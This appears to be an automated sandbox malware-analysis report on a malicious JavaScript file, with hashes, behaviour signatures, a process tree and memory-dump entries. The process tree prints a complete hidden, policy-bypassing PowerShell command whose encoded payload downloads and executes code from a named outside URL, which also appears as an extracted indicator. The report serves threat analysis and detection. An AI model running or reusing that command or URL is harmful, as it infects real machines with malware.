Analysis

  • max time kernel
    119s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    04/01/2024, 01:19

General

  • Target

    3f88ee0d8ddc4cf072ca0d20faf3e991.js

  • Size

    94KB

  • MD5

    3f88ee0d8ddc4cf072ca0d20faf3e991

  • SHA1

    7ae1672b470c71c99268e8e6f59d1838797f531d

  • SHA256

    f205d469dd98eea2095573eea1e457b4c49cc0b1cf19fc73c624252eff88e63d

  • SHA512

    8c01ad627f557ab98b7fbacc5d1457587ee192687eb0095aef2b65434735b23dd18360ccdf7d2f71287d2cb38ba754c7d2736ae22923dc3d8417b04ebdd3a18f

  • SSDEEP

    1536:59Ry98guHVBqqg2bcruayUHmLKeZaMU7GwbWBPwVGWl9SZ8kV8Gp/5bzIEN4t/oW:59Ry98guHVBqqg2bcruzUHmLKeMMU7Gc

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://smart-integrator.hr/pornhub.php

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\3f88ee0d8ddc4cf072ca0d20faf3e991.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1352
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2336
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2804

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2804-5-0x000000001B2F0000-0x000000001B5D2000-memory.dmp

    Filesize

    2.9MB

  • memory/2804-6-0x0000000002310000-0x0000000002318000-memory.dmp

    Filesize

    32KB

  • memory/2804-7-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

    Filesize

    9.6MB

  • memory/2804-8-0x00000000025F0000-0x0000000002670000-memory.dmp

    Filesize

    512KB

  • memory/2804-9-0x00000000025F0000-0x0000000002670000-memory.dmp

    Filesize

    512KB

  • memory/2804-10-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

    Filesize

    9.6MB

  • memory/2804-11-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

    Filesize

    9.6MB

  • memory/2804-12-0x00000000025F0000-0x0000000002670000-memory.dmp

    Filesize

    512KB

  • memory/2804-13-0x00000000025F0000-0x0000000002670000-memory.dmp

    Filesize

    512KB

  • memory/2804-14-0x00000000025F0000-0x0000000002670000-memory.dmp

    Filesize

    512KB

  • memory/2804-15-0x00000000025F0000-0x0000000002670000-memory.dmp

    Filesize

    512KB

  • memory/2804-16-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

    Filesize

    9.6MB

  • memory/2804-17-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

    Filesize

    9.6MB